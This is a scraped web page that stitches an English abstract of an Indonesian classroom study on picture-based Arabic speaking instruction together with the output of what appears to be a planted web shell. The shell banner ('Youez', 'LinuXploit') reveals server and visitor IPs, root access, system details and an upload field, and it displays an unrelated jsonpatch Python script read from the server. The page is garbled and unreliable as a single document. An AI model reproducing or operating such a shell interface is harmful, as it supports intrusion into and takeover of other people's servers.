Efektivitas Strategi Ta’bir Mushawwar dalam Pembelajaran Bahasa Arab di Madrasah Ibtidaiyah
Abstract
Speaking proficiency is one of the main skills in Arabic language learning, but fourth grade students of MI TPI Keramat face difficulties in assembling mufradat and practicing active conversation, mainly due to the lack of varied learning strategies. This study aims to analyze the effectiveness of the ta'bir mushawwar strategy, which uses picture as a media to facilitate students in constructing sentences and telling stories, in improving Arabic speaking skills. With a quantitative approach and pre-experiment design, this study involved 18 students of class IV-C. Data were collected through tests, observations, and interviews, then analyzed descriptively and N-Gain test. The posttest average was 83.06 (very good category) with 88.9% completeness, and the N-Gain score was 0.6398 which showed effectiveness in the medium category. The ta'bir mushawwar strategy offers a solution in the form of a visual and hands-on learning approach that can significantly improve students' speaking skills and make learning more interesting and interactive.
Server IP : 103.175.217.176 / Your IP : 3.133.148.76 Web Server : Apache/2.4.62 (Debian) System : Linux bilfathvps 5.10.0-33-amd64 #1 SMP Debian 5.10.226-1 (2024-10-03) x86_64 User : root ( 0) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /bin/X11/ |
Upload File : |
#! /usr/bin/python3 # -*- coding: utf-8 -*- import sys import os.path import json import jsonpatch import tempfile import argparse parser = argparse.ArgumentParser( description='Apply a JSON patch on a JSON file') parser.add_argument('ORIGINAL', type=argparse.FileType('r'), help='Original file') parser.add_argument('PATCH', type=argparse.FileType('r'), nargs='?', default=sys.stdin, help='Patch file (read from stdin if omitted)') parser.add_argument('--indent', type=int, default=None, help='Indent output by n spaces') parser.add_argument('-b', '--backup', action='store_true', help='Back up ORIGINAL if modifying in-place') parser.add_argument('-i', '--in-place', action='store_true', help='Modify ORIGINAL in-place instead of to stdout') parser.add_argument('-v', '--version', action='version', version='%(prog)s ' + jsonpatch.__version__) def main(): try: patch_files() except KeyboardInterrupt: sys.exit(1) def patch_files(): """ Diffs two JSON files and prints a patch """ args = parser.parse_args() doc = json.load(args.ORIGINAL) patch = json.load(args.PATCH) result = jsonpatch.apply_patch(doc, patch) if args.in_place: dirname = os.path.abspath(os.path.dirname(args.ORIGINAL.name)) try: # Attempt to replace the file atomically. We do this by # creating a temporary file in the same directory as the # original file so we can atomically move the new file over # the original later. (This is done in the same directory # because atomic renames do not work across mount points.) fd, pathname = tempfile.mkstemp(dir=dirname) fp = os.fdopen(fd, 'w') atomic = True except OSError: # We failed to create the temporary file for an atomic # replace, so fall back to non-atomic mode by backing up # the original (if desired) and writing a new file. if args.backup: os.rename(args.ORIGINAL.name, args.ORIGINAL.name + '.orig') fp = open(args.ORIGINAL.name, 'w') atomic = False else: # Since we're not replacing the original file in-place, write # the modified JSON to stdout instead. fp = sys.stdout # By this point we have some sort of file object we can write the # modified JSON to. json.dump(result, fp, indent=args.indent) fp.write('\n') if args.in_place: # Close the new file. If we aren't replacing atomically, this # is our last step, since everything else is already in place. fp.close() if atomic: try: # Complete the atomic replace by linking the original # to a backup (if desired), fixing up the permissions # on the temporary file, and moving it into place. if args.backup: os.link(args.ORIGINAL.name, args.ORIGINAL.name + '.orig') os.chmod(pathname, os.stat(args.ORIGINAL.name).st_mode) os.rename(pathname, args.ORIGINAL.name) except OSError: # In the event we could not actually do the atomic # replace, unlink the original to move it out of the # way and finally move the temporary file into place. os.unlink(args.ORIGINAL.name) os.rename(pathname, args.ORIGINAL.name) if __name__ == "__main__": main()
Youez - 2016 - github.com/yon3zu
LinuXploit